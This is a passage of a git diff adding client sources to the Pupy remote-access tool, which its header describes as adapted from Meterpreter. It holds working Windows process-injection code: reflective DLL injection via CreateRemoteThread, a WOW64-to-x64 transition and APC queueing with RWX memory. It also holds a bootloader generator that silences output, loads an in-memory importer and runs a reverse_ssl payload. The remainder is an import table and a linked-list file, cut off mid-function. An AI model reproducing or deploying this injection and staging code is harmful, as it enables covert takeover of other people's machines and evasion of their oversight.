lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwPupyArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext ); + + // Write the apc stub to memory... + if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" ) + + // Write the apc context to memory... + if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" ) + + do + { + HANDLE hThread = NULL; + + // Only proceed if we are targeting a thread in the target process + if( t.th32OwnerProcessID != dwProcessID ) + continue; + + // Open a handle to this thread so we can do the apc injection + hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID ); + if( !hThread ) + continue; + + //printf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID ); + + // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt + // an ssl connection back but the client side will not be ready to accept it and we loose the session. + if( SuspendThread( hThread ) != (DWORD)-1 ) + { + list_push( thread_list, hThread ); + + // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target + // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. + // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. + if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) + { + //printf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); + dwResult = ERROR_SUCCESS; + } + else + { + //printf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID ); + } + } + else + { + CloseHandle( hThread ); + } + + // keep searching for more target threads to inject our apc stub into... + + } while( Thread32Next( hThreadSnap, &t ) ); + + } while( 0 ); + +/* + if( dwResult == ERROR_SUCCESS && remote && response ) + { + // We should only run this block if we are being used for migration... + + // Send a successful response to let the ruby side know that we've pretty + // much successfully migrated and have reached the point of no return + packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE ); + packet_transmit_response( ERROR_SUCCESS, remote, response ); + + // Sleep to give the remote side a chance to catch up... + Sleep( 2000 ); + } +*/ + if( thread_list ) + { + // Resume all the threads which we queued our apc into as the remote + // client side will now be ready to handle the new ssl conenction. + while( TRUE ) + { + HANDLE t = (HANDLE)list_pop( thread_list ); + if( !t ) + break; + ResumeThread( t ); + CloseHandle( t ); + } + + list_destroy( thread_list ); + } + + if( hThreadSnap ) + CloseHandle( hThreadSnap ); + + if( hNtdll ) + FreeLibrary( hNtdll ); + + SetLastError( dwResult ); + + return dwResult; +} + +/* + * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) + * enviroment into a native x64 enviroment and accessing the native win64 API's. + * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new + * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out + * Windows 2003 from this method of injection, however the APC injection method will work on 2003. + */ +DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread ) +{ + DWORD dwResult = ERROR_SUCCESS; + EXECUTEX64 pExecuteX64 = NULL; + X64FUNCTION pX64function = NULL; + WOW64CONTEXT * ctx = NULL; + OSVERSIONINFO os = {0}; + + do + { + os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); + + if( !GetVersionEx( &os ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" ) + + // filter out Windows 2003 + if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) + { + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) + } + + // alloc a RWX buffer in this process for the EXECUTEX64 function + pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !pExecuteX64 ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) + + // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) + pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !pX64function ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) + + // copy over the wow64->x64 stub + memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); + + // copy over the native x64 function + memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); + + // set the context + ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); + + ctx->h.hProcess = hProcess; + ctx->s.lpStartAddress = lpStartAddress; + ctx->p.lpParameter = lpParameter; + ctx->t.hThread = NULL; + + //printf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx ); + + // Transition this wow64 process into native x64 and call pX64function( ctx ) + // The native function will use the native Win64 API's to create a remote thread in the target process. + if( !pExecuteX64( pX64function, (DWORD)ctx ) ) + { + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) + } + + if( !ctx->t.hThread ) + { + SetLastError( ERROR_INVALID_HANDLE ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" ) + } + + // Success! grab the new thread handle from of the context + *pThread = ctx->t.hThread; + + //printf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread ); + + } while( 0 ); + + if( pExecuteX64 ) + VirtualFree( pExecuteX64, 0, MEM_DECOMMIT ); + + if( pX64function ) + VirtualFree( pX64function, 0, MEM_DECOMMIT ); + + return dwResult; +} + +/* + * Attempte to gain code execution in the remote process by creating a remote thread in the target process. + */ +DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) +{ + DWORD dwResult = ERROR_SUCCESS; + DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; + HANDLE hThread = NULL; + + do + { + // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread + // fails, giving us a chance to try an alternative method or fail migration gracefully. + hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL); + if (!hThread) + { + if (dwPupyArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64) + { + dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64; + + if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS) + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed") + } + } + else + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed") + } + } + else + { + //printf("[INJECT] inject_via_remotethread: succeeded"); + } +/* + if (remote && response) + { + //printf("[INJECT] inject_via_remotethread: Sending a migrate response..."); + // Send a successful response to let the ruby side know that we've pretty + // much successfully migrated and have reached the point of no return + packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique); + packet_transmit_response(ERROR_SUCCESS, remote, response); + + //printf("[INJECT] inject_via_remotethread: Sleeping for two seconds..."); + // Sleep to give the remote side a chance to catch up... + Sleep(2000); + } +*/ + Sleep(2000); + //printf("[INJECT] inject_via_remotethread: Resuming the injected thread..."); + // Resume the injected thread... + if (ResumeThread(hThread) == (DWORD)-1) + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed") + } + + } while (0); + + if (hThread) + { + CloseHandle(hThread); + } + + SetLastError(dwResult); + + return dwResult; +} + +/* + * Inject a DLL image into a process via Reflective DLL Injection. + * + * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for + * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() + * in stdapi will handle this automatically. + * + * Note: This function largely depreciates LoadRemoteLibraryR(). + */ +DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine , int remoteProcessArch) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; + LPVOID lpRemoteCommandLine = NULL; + HANDLE hProcess = NULL; + LPVOID lpRemoteLibraryBuffer = NULL; + LPVOID lpReflectiveLoader = NULL; + DWORD dwReflectiveLoaderOffset = 0; + + do + { + if( !lpDllBuffer || !dwDllLenght ) + BREAK_ON_ERROR( "[INJECT] inject_dll. No Dll buffer supplied."); + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer ); + if( !dwReflectiveLoaderOffset ) + BREAK_ON_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed."); + + hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid ); + if( !hProcess ) + BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); + + if( cpCommandLine ) + { + // alloc some space and write the commandline which we will pass to the injected dll... + lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); + if( !lpRemoteCommandLine ) + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); + + if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); + } + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset ); + + // First we try to inject by directly creating a remote thread in the target process + if( inject_via_remotethread( hProcess, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) + { + //printf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." ); + + // If that fails we can try to migrate via a queued APC in the target process + if( inject_via_apcthread( hProcess, dwPid, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) + BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) + } + + dwResult = ERROR_SUCCESS; + + } while( 0 ); + + if( hProcess ) + CloseHandle( hProcess ); + + return dwResult; +} + diff --git a/client/sources/base_inject.h b/client/sources/base_inject.h new file mode 100644 index 00000000..bb9ea7c2 --- /dev/null +++ b/client/sources/base_inject.h @@ -0,0 +1,126 @@ +/* + This code has been taken from meterpreter and modified to be integrated into pupy. + original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/ + +Meterpreter is available for use under the following license, commonly known as the +3-clause (or "modified") BSD license: + +========================================================================================= + +Meterpreter +----------- + +Copyright (c) 2006-2013, Rapid7 Inc + +Redistribution and use in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, this list of + conditions and the following disclaimer in the documentation and/or other materials + provided with the distribution. + +* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or + promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT +OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ +//===============================================================================================// +#ifndef _METERPRETER_BASE_INJECT_H +#define _METERPRETER_BASE_INJECT_H +//===============================================================================================// + +// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here. +#define PROCESS_ARCH_UNKNOWN 0 +#define PROCESS_ARCH_X86 1 +#define PROCESS_ARCH_X64 2 +#define PROCESS_ARCH_IA64 3 + +// The three injection techniques currently supported. +#define MIGRATE_TECHNIQUE_REMOTETHREAD 0 +#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1 +#define MIGRATE_TECHNIQUE_APCQUEUE 2 + +extern const DWORD dwPupyArch; + +//===============================================================================================// + +// Definition of ntdll!NtQueueApcThread +typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved ); + +// Definitions used for running native x64 code from a wow64 process (see executex64.asm) +typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); +typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); + +//===============================================================================================// + +// The context used for injection via migrate_via_apcthread +typedef struct _APCCONTEXT +{ + union + { + LPVOID lpStartAddress; + BYTE bPadding1[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding2[8]; + } p; + + BYTE bExecuted; + +} APCCONTEXT, * LPAPCCONTEXT; + +// The context used for injection via migrate_via_remotethread_wow64 +typedef struct _WOW64CONTEXT +{ + union + { + HANDLE hProcess; + BYTE bPadding2[8]; + } h; + + union + { + LPVOID lpStartAddress; + BYTE bPadding1[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding2[8]; + } p; + union + { + HANDLE hThread; + BYTE bPadding2[8]; + } t; +} WOW64CONTEXT, * LPWOW64CONTEXT; + +//===============================================================================================// + +DWORD inject_via_apcthread(HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + +DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + +DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); + +DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/client/sources/gen_library_compressed_string.py b/client/sources/gen_library_compressed_string.py new file mode 100644 index 00000000..55cc0a61 --- /dev/null +++ b/client/sources/gen_library_compressed_string.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +import StringIO, zipfile, os.path, imp, sys +import marshal +import zlib + +def get_encoded_library_string(arch): + filepath=None + if arch=="x86": + filepath=os.path.join("resources","libraryx86.zip") + elif arch=="x64": + filepath=os.path.join("resources","libraryx64.zip") + else: + raise Exception("unknown arch %s"%arch) + f = StringIO.StringIO() + f.write(open(filepath, "rb").read()) + + zip = zipfile.ZipFile(f) + + modules = dict([(z.filename, zip.open(z.filename,).read()) for z in zip. infolist() if os.path.splitext(z.filename)[1] in [".py",".pyd",".dll",".pyc",".pyo"]]) + + return zlib.compress(marshal.dumps(modules),9) +try: + with open(os.path.join("resources","library_compressed_string_x86.txt"),'wb') as w: + w.write(get_encoded_library_string("x86")) + print "x86 encoded library generated" +except Exception as e: + print str(e) +try: + with open(os.path.join("resources","library_compressed_string_x64.txt"),'wb') as w: + w.write(get_encoded_library_string("x64")) + print "x64 encoded library generated" +except Exception as e: + print str(e) diff --git a/client/sources/gen_python_bootloader.py b/client/sources/gen_python_bootloader.py new file mode 100644 index 00000000..81f0d537 --- /dev/null +++ b/client/sources/gen_python_bootloader.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +import marshal +import struct +import base64 +import os.path + + +remove_stdout=""" +import sys +class Blackhole(object): + softspace = 0 + def read(self): + pass + def write(self, text): + pass + def flush(self): + pass +sys.stdout = Blackhole() +sys.stderr = Blackhole() +del Blackhole +""" +#remove_stdout="" +def get_load_module_code(code, modulename): + loader=""" +import imp, sys +fullname={} +mod = imp.new_module(fullname) +mod.__file__ = "\\%s" % fullname +exec {} in mod.__dict__ +sys.modules[fullname]=mod + """.format(repr(modulename),repr(code)) + return loader + + +if __name__=="__main__": + code_bytes=[] + code="" + #code_bytes.append(compile("import sys; print repr(sys._GetCompressedLibraryString())"+"\n", "", "exec")) + code_bytes.append(compile(remove_stdout, "", "exec")) + code_bytes.append(compile("import sys;sys.argv=[]", "", "exec")) + with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f: + code=f.read() + code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "", "exec")) + code_bytes.append(compile("import pupyimporter;pupyimporter.install()\n", "", "exec")) + #code_bytes.append(compile("import platform; print platform.uname()\n", "", "exec")) + with open(os.path.join("..","reverse_ssl.py")) as f: + code=f.read() + code_bytes.append(compile(code+"\n", "", "exec")) + code_bytes=marshal.dumps(code_bytes) + with open(os.path.join("resources","bootloader.pyc"),'wb') as w: + w.write(code_bytes) + + diff --git a/client/sources/gen_resource_header.py b/client/sources/gen_resource_header.py new file mode 100644 index 00000000..2a63b677 --- /dev/null +++ b/client/sources/gen_resource_header.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +import sys +import binascii + +MAX_CHAR_PER_LINE=50 + +if __name__=="__main__": + h_file="" + file_bytes=b"" + with open(sys.argv[1], "rb") as f: + file_bytes=f.read() + h_file += "int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(file_bytes)) + h_file += "\nchar %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_") + current_size=0 + + for c in file_bytes: + h_file+="'\\x%s',"%binascii.hexlify(c) + current_size+=1 + if current_size>MAX_CHAR_PER_LINE: + current_size=0 + h_file+="\n" + + h_file += "'\\x00' };\n" + + with open(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")+".c",'w') as w: + w.write(h_file) + + diff --git a/client/sources/import-tab.c b/client/sources/import-tab.c new file mode 100644 index 00000000..9fcb911d --- /dev/null +++ b/client/sources/import-tab.c @@ -0,0 +1,69 @@ + { "Py_Initialize", NULL }, + { "PyRun_SimpleString", NULL }, + { "Py_Finalize", NULL }, + { "Py_GetPath", NULL }, + { "Py_SetPythonHome", NULL }, + { "Py_SetProgramName", NULL }, + { "PyMarshal_ReadObjectFromString", NULL }, + { "PyObject_CallFunction", NULL }, + { "PyString_AsStringAndSize", NULL }, + { "PyString_AsString", NULL }, + { "PyArg_ParseTuple", NULL }, + { "PyErr_Format", NULL }, + { "PyImport_ImportModule", NULL }, + { "PyInt_FromLong", NULL }, + { "PyInt_AsLong", NULL }, + { "PyLong_FromVoidPtr", NULL }, +#ifdef _DEBUG + { "Py_InitModule4TraceRefs", NULL }, +#else +# if defined (_WIN64) + { "Py_InitModule4_64", NULL }, +# else + { "Py_InitModule4", NULL }, +# endif +#endif + { "PyTuple_New", NULL }, + { "PyTuple_SetItem", NULL }, + { "Py_IsInitialized", NULL }, + { "PyObject_SetAttrString", NULL }, + { "PyCFunction_NewEx", NULL }, + { "PyObject_GetAttrString", NULL }, + { "Py_BuildValue", NULL }, + { "PyObject_Call", NULL }, + { "PySys_WriteStderr", NULL }, + { "PyErr_Occurred", NULL }, + { "PyErr_Clear", NULL }, + { "PyObject_IsInstance", NULL }, + { "PyInt_Type", NULL }, + { "_Py_NoneStruct", NULL }, + { "PyExc_ImportError", NULL }, + { "PyExc_Exception", NULL }, + { "_Py_PackageContext", NULL }, + { "PyGILState_Ensure", NULL }, + { "PyGILState_Release", NULL }, + { "PySys_SetObject", NULL }, + { "PySys_GetObject", NULL }, + { "PyString_FromString", NULL }, + { "Py_FdIsInteractive", NULL }, + { "PyRun_InteractiveLoop", NULL }, + { "PySys_SetArgv", NULL }, + { "PyImport_AddModule", NULL }, + { "PyModule_GetDict", NULL }, + { "PySequence_Length", NULL }, + { "PySequence_GetItem", NULL }, + { "PyEval_EvalCode", NULL }, + { "PyErr_Print", NULL }, + { "PyBool_FromLong", NULL }, + { "Py_VerboseFlag", NULL }, + { "Py_NoSiteFlag", NULL }, + { "Py_OptimizeFlag", NULL }, + { "Py_IgnoreEnvironmentFlag", NULL }, + { "PyObject_Str", NULL }, + { "PyList_New", NULL }, + { "PyList_SetItem", NULL }, + { "PyList_Append", NULL }, + { "PyThreadState_GetDict", NULL }, + { "PyObject_IsTrue", NULL }, + { "PyErr_SetString", NULL }, + { "PyEval_InitThreads", NULL }, diff --git a/client/sources/import-tab.h b/client/sources/import-tab.h new file mode 100644 index 00000000..3c133295 --- /dev/null +++ b/client/sources/import-tab.h @@ -0,0 +1,61 @@ +#define Py_Initialize ((void(*)(void))imports[0].proc) +#define PyRun_SimpleString ((int(*)(char *))imports[1].proc) +#define Py_Finalize ((void(*)(void))imports[2].proc) +#define Py_GetPath ((char *(*)(void))imports[3].proc) +#define Py_SetPythonHome ((void(*)(char *))imports[4].proc) +#define Py_SetProgramName ((void(*)(char *))imports[5].proc) +#define PyMarshal_ReadObjectFromString ((PyObject *(*)(char *, Py_ssize_t))imports[6].proc) +#define PyObject_CallFunction ((PyObject *(*)(PyObject *, char *, ...))imports[7].proc) +#define PyString_AsStringAndSize ((int(*)(PyObject *, char **, Py_ssize_t *))imports[8].proc) +#define PyString_AsString ((char *(*)(PyObject *))imports[9].proc) +#define PyArg_ParseTuple ((int(*)(PyObject *, char *, ...))imports[10].proc) +#define PyErr_Format ((PyObject *(*)(PyObject *, const char *, ...))imports[11].proc) +#define PyImport_ImportModule ((PyObject *(*)(char *))imports[12].proc) +#define PyInt_FromLong ((PyObject *(*)(long))imports[13].proc) +#define PyInt_AsLong ((long(*)(PyObject *))imports[14].proc) +#define PyLong_FromVoidPtr ((PyObject *(*)(void *))imports[15].proc) +#define Py_InitModule4 ((PyObject *(*)(char *, PyMethodDef *, char *, PyObject *, int))imports[16].proc) +#define PyTuple_New ((PyObject *(*)(Py_ssize_t))imports[17].proc) +#define PyTuple_SetItem ((int(*)(PyObject*, Py_ssize_t, PyObject *))imports[18].proc) +#define Py_IsInitialized ((int(*)(void))imports[19].proc) +#define PyObject_SetAttrString ((int(*)(PyObject *, char *, PyObject *))imports[20].proc) +#define PyCFunction_NewEx ((PyObject *(*)(PyMethodDef *, PyObject *, PyObject *))imports[21].proc) +#define PyObject_GetAttrString ((PyObject *(*)(PyObject *, char *))imports[22].proc) +#define Py_BuildValue ((PyObject *(*)(char *, ...))imports[23].proc) +#define PyObject_Call ((PyObject *(*)(PyObject *, PyObject *, PyObject *))imports[24].proc) +#define PySys_WriteStderr ((void(*)(const char *, ...))imports[25].proc) +#define PyErr_Occurred ((PyObject *(*)(void))imports[26].proc) +#define PyErr_Clear ((void(*)(void))imports[27].proc) +#define PyObject_IsInstance ((int(*)(PyObject *, PyObject *))imports[28].proc) +#define PyInt_Type (*(PyObject(*))imports[29].proc) +#define _Py_NoneStruct (*(PyObject(*))imports[30].proc) +#define PyExc_ImportError (*(PyObject *(*))imports[31].proc) +#define PyExc_Exception (*(PyObject *(*))imports[32].proc) +#define _Py_PackageContext (*(char *(*))imports[33].proc) +#define PyGILState_Ensure ((PyGILState_STATE(*)(void))imports[34].proc) +#define PyGILState_Release ((void(*)(PyGILState_STATE))imports[35].proc) +#define PySys_SetObject ((void(*)(char *, PyObject *))imports[36].proc) +#define PySys_GetObject ((PyObject *(*)(char *))imports[37].proc) +#define PyString_FromString ((PyObject *(*)(char *))imports[38].proc) +#define Py_FdIsInteractive ((int(*)(FILE *, char *))imports[39].proc) +#define PyRun_InteractiveLoop ((int(*)(FILE *, char *))imports[40].proc) +#define PySys_SetArgv ((void(*)(int, char **))imports[41].proc) +#define PyImport_AddModule ((PyObject *(*)(char *))imports[42].proc) +#define PyModule_GetDict ((PyObject *(*)(PyObject *))imports[43].proc) +#define PySequence_Length ((Py_ssize_t(*)(PyObject *))imports[44].proc) +#define PySequence_GetItem ((PyObject *(*)(PyObject *, Py_ssize_t))imports[45].proc) +#define PyEval_EvalCode ((PyObject *(*)(PyCodeObject *, PyObject *, PyObject *))imports[46].proc) +#define PyErr_Print ((void(*)(void))imports[47].proc) +#define PyBool_FromLong ((PyObject *(*)(long))imports[48].proc) +#define Py_VerboseFlag (*(int(*))imports[49].proc) +#define Py_NoSiteFlag (*(int(*))imports[50].proc) +#define Py_OptimizeFlag (*(int(*))imports[51].proc) +#define Py_IgnoreEnvironmentFlag (*(int(*))imports[52].proc) +#define PyObject_Str ((PyObject *(*)(PyObject *))imports[53].proc) +#define PyList_New ((PyObject *(*)(Py_ssize_t))imports[54].proc) +#define PyList_SetItem ((int(*)(PyObject *, Py_ssize_t, PyObject *))imports[55].proc) +#define PyList_Append ((int(*)(PyObject *, PyObject *))imports[56].proc) +#define PyThreadState_GetDict ((PyObject *(*)(void))imports[57].proc) +#define PyObject_IsTrue ((int(*)(PyObject *))imports[58].proc) +#define PyErr_SetString ((void(*)(PyObject *, const char *))imports[59].proc) +#define PyEval_InitThreads ((void(*)(void))imports[60].proc) diff --git a/client/sources/list.c b/client/sources/list.c new file mode 100644 index 00000000..e75290e6 --- /dev/null +++ b/client/sources/list.c @@ -0,0 +1,429 @@ +/*! + * @file list.c + * @brief Definitions for functions that operate on lists. + * @details An implementation of a simple thread safe double linked list structure. Can be used as either + * a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If + * performing a group of actions on a list based on results from list actions, acquire the list + * lock before the group of actions and release lock when done. + */ +//#include "common.h" + +#include +#include +#include + +#include "thread.h" +#include "list.h" + +/*! + * @brief Create a thread-safe double linked list. + * @returns A new instance of a linked list. + * @retval NULL Indicates a memory allocation failure. + */ +PLIST list_create(VOID) +{ + PLIST pList = (PLIST)malloc(sizeof(LIST)); + + if (pList != NULL) + { + pList->start = NULL; + pList->end = NULL; + pList->count = 0; + pList->lock = lock_create(); + + if (pList->lock == NULL) + { + list_destroy(pList); + return NULL; + } + } + return pList; +} + +/*! + * @brief Destroy an existing linked list. + * @details This destroys all nodes and the list itself but not the data held in the + * linked list. This is the responsibility of the caller to destroy. + * @param list The \c LIST instance to destroy. + */ +VOID list_destroy(PLIST pList) +{ + PNODE current_node; + PNODE next_node; + + if (pList != NULL) + { + lock_acquire(pList->lock); + + current_node = pList->start; + + while (current_node != NULL) + { + next_node = current_node->next; + + current_node->next = NULL; + + current_node->prev = NULL; + + free(current_node); + + current_node = next_node; + } + + pList->count = 0; + + lock_release(pList->lock); + + lock_destroy(pList->lock); + + free(pList); + } +} + +/*! + * @brief Get the number of items in the list. + * @param pList The \c LIST to get a count of. + * @returns The number of elements in the list. + * @remark If using this coung value to itterate through the list with `list_get`, acquire + * the lists lock before the `list_count/list_get` block and release it afterwards. + */ +DWORD list_count(PLIST pList) +{ + DWORD count = 0; + + if (pList != NULL) + { + lock_acquire(pList->lock); + + count = pList->count; + + lock_release(pList->lock); + } + + return count; +} + +/*! + * @brief Get the data value held in the list and a specified index. + * @param pList Pointer to the \c LIST to get the element from. + * @param index Index of the element to get; + * @returns Pointer to the item in the list. + * @retval NULL Indicates the element doesn't exist in the list. + * @remark This will perform a linear search from the beginning of the list. + */ +LPVOID list_get(PLIST pList, DWORD index) +{ + LPVOID data = NULL; + PNODE current_node = NULL; + + if (pList == NULL) + return NULL; + + lock_acquire(pList->lock); + + if (pList->count <= index) + { + lock_release(pList->lock); + return NULL; + } + + current_node = pList->start; + + while (current_node != NULL) + { + if (index == 0) + { + break; + } + + current_node = current_node->next; + + index--; + } + + if (current_node != NULL) + { + data = current_node->data; + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Add a data item onto the end of the list. + * @param pList Pointer to the \c LIST to add the item to. + * @param data The data that is to be added to the list. + * @returns Indication of success or failure. + * @sa list_push + */ +BOOL list_add(PLIST pList, LPVOID data) +{ + return 